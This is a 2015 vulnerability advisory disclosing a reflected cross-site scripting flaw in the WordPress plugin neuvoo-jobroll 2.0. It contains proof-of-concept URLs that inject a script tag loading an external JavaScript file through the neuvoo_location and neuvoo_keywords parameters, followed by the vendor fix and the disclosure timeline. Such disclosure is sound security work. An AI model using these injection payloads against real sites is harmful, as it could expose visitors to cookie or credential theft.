WordPress plugin Neuvoo-Jobroll version 2.0 suffers from a reflective cross site scripting vulnerability.
44e3af9b0554c36be7f2fc7a780dbf9a268db0af82e45bbcade73406e807d666
######################################################################
# Exploit Title: Wordpress plugin neuvoo-jobroll 2.0 Reflected Cross-Site Scripting (RXSS)
# Date: 05/11/2015
# Author: Mickael Dorigny @ Synetis
# Vendor or Software Link: http://neuvoo.fr/fr
# Version: 2.0
# Category: Reflected Cross Site Scripting
# Google dork:
# Tested on : Wordpress with neuvoo-jobroll 2.0
######################################################################
Neuvoo description :
======================================================================
Neuvoo is a job offers aggregator. Through a Wordpress plugin, webmasters can insert a neuvoo search page wich will permit their user to search for jobs. Each request from a Wordpress plugin neuvoo-jobroll will be forwarded to the central Neuvoo servers, then responses will be displayed into the wordpress page through the plugin.
Vulnerability description :
======================================================================
A reflected XSS is available in the Wordpress Plugin "neuvoo-jobroll" version 2.0.
Through this vulnerability, an attacker could tamper with page rendering, redirect victims to fake Wordpress login page, or capture users Wordpress credentials such cookies.
This vulnerabily is available on two GET parameters used during the request to the plugin :
- neuvoo_location=
- neuvoo_keywords=
Tested on Firefox 41.0.2.
Proof of Concept :
======================================================================
A non-persistent XSS (RXSS) in "neuvoo_keywords" and "neuvoo_location" GET parameters is present. This RXXS can be exploited only by importing another JavaScript file. Some protection don't allow the attacker to insert more than one " caractere.
Tested on Firefox 41.0.2.
PoC:
http://<URL>/<path_to_neuvoo_plugin>/index.php?neuvoo_location=France&neuvoo_keywords="><script src=https://<a website>/xss.js>&neuvoo_page=1
http://<URL>/<path_to_neuvoo_plugin>/index.php?neuvoo_location="><script src=https://<a website>/xss.js>&neuvoo_keywords=Pentester&neuvoo_page=1
In this context, the "xss.js" file contain the following JavaScript instructions :
window.onload = function(){
alert("XSS - Mickael Dorigny @MickaelDorigny - Synetis");
};
The given response will contain a part like this in its source code :
<input autocomplete="off" id="neuvoo_keywords" type="text" name="neuvoo_keywords" value="\"><script src=http://<a website>/xss.js>" placeholder="mots-clés, entreprise ..." tabindex="1"/>
Which means that the JavaScript code is interpreted.
Screenshots :
======================================================================
- https://www.information-security.fr/wp-content/uploads/2015/11/rxss-neuvoo-jobroll-plugin-08.jpg
- https://www.information-security.fr/wp-content/uploads/2015/11/rxss-neuvoo-jobroll-plugin-09.jpg
Solution:
======================================================================
A fix has been deployed by Neuvoo Development team. Uprade your Wordpress neuvoo-jobroll plugin for the next version.
Additional resources / article :
======================================================================
- https://www.information-security.fr/rxss-plugin-wordpress-neuvoo_jobroll-2-0/
Report timeline :
======================================================================
2015-10-27 : Informed Vendor about the issue (no reply)
2015-10-30 : Reminded vendor about vulnerability (no reply)
2015-11-02 : Vendor asked for more informations
2015-11-03 : Fix deployed
2015-11-05 : Public Advisory released
Credits :
======================================================================
88888888
88 888 88 88
888 88 88
788 Z88 88 88.888888 8888888 888888 88 8888888.
888888. 88 88 888 Z88 88 88 88 88 88 88
8888888 88 88 88 88 88 88 88 88 888
888 88 88 88 88 88888888888 88 88 888888
88 88 88 8. 88 88 88 88 88 888
888 ,88 8I88 88 88 88 88 88 88 .88 .88
?8888888888. 888 88 88 88888888 8888 88 =88888888
888. 88
88 www.synetis.com
8888 Consulting firm in management and information security
Mickael Dorigny - Security Consultant @ Synetis | Information-Security.fr
--
SYNETIS
CONTACT: www.synetis.com | www.information-security.fr